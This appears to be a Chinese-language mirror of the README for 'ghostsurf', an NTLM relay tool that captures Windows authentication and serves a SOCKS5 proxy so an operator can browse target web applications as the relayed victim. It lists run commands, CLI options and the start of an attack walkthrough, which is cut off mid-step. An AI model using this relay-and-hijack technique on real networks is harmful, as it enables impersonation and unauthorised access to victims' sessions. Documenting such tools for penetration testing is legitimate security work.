senderend/ghostsurf

GitHub: senderend/ghostsurf

这是一款通过捕获并中继 NTLM 认证流量,配合 SOCKS5 代理实现浏览器会话劫持的工具。

Stars: 128 | Forks: 7

# 运行 ghostsurf 带有 SOCKS 代理的 NTLM HTTP 中继工具,用于浏览器会话劫持。 捕获 NTLM 认证,中继到 HTTP/HTTPS 目标,然后通过 SOCKS 代理以受害者身份进行浏览。即使在 Cookie 重放无效的情况下,这也能起作用。 博客:[ghostsurf: From NTLM Relay to Browser Session Hijacking](https://specterops.io/blog/2026/04/02/ghostsurf-from-ntlm-relay-to-browser-session-hijacking/) ## 功能特性 - **浏览器会话劫持**:SOCKS5 代理让你以中继用户的身份进行浏览 - **自动会话选择**:单个会话自动选择;多个会话显示 HTML 选择器 - **内核模式认证绕过**:针对 IIS/HTTP.sys 目标的探测优先策略 - **多用户中继**:使用 `-r` 将多个捕获的用户中继到同一目标 - **线程安全**:通过套接字锁定支持并发浏览器连接 - **头部保留**:传递目标应用依赖的 User-Agent、Cookie 和其他头部 ## 用法 ``` # 基本 - 转发到目标 ./ghostsurf -t https://target.local/ # 启用 kernel-mode auth 变通方案(适用于 IIS/HTTP.sys) ./ghostsurf -t https://target.local/ -k # 将多个用户转发到同一目标 ./ghostsurf -t https://target.local/ -r # 用于详细输出和错误报告的 Debug 模式 ./ghostsurf -t https://target.local/ -d ``` 依赖项会在首次运行时自动安装。若要强制重新安装:`rm -rf venv && ./ghostsurf -h` ### CLI 选项 ``` Main: -t, --target TARGET Target URL to relay to -d, --debug Verbose output -s, --ts Timestamp logging Relay: -k, --kernel-auth Kernel-mode auth workaround (probe anonymously first) -r, --keep-relaying Allow multiple users to be relayed to the same target. Without this, the target is marked done after the first successful relay and further captures are dropped. -i, --interface IP Bind to specific interface SOCKS: --socks-address IP SOCKS5 bind address (default: 127.0.0.1) --socks-port PORT SOCKS5 port (default: 1080) --api-port PORT REST API port (default: 9090) Servers: --no-smb-server Disable SMB capture server --no-http-server Disable HTTP capture server --no-wcf-server Disable WCF capture server --no-raw-server Disable RAW capture server --smb1 Use SMB1 only (SMB2 is default) ``` ### 攻击流程 1. 启动 ghostsurf: ./ghostsurf -t https://target.local/ -k -r 2. 设置浏览器代理(推荐使用 Firefox + FoxyProxy): - 在 Firefox 中安装 [FoxyProxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/) -
标签:Conpot, CTF学习, HTTP协议, ICS, IIS漏洞, NTLM Relay, SOCKS5代理, SpecterOps, Windows安全, XXE攻击, 中间人攻击, 会话劫持, 内网渗透, 横向移动, 浏览器代理, 编程规范, 网络安全, 身份验证绕过, 逆向工具, 隐私保护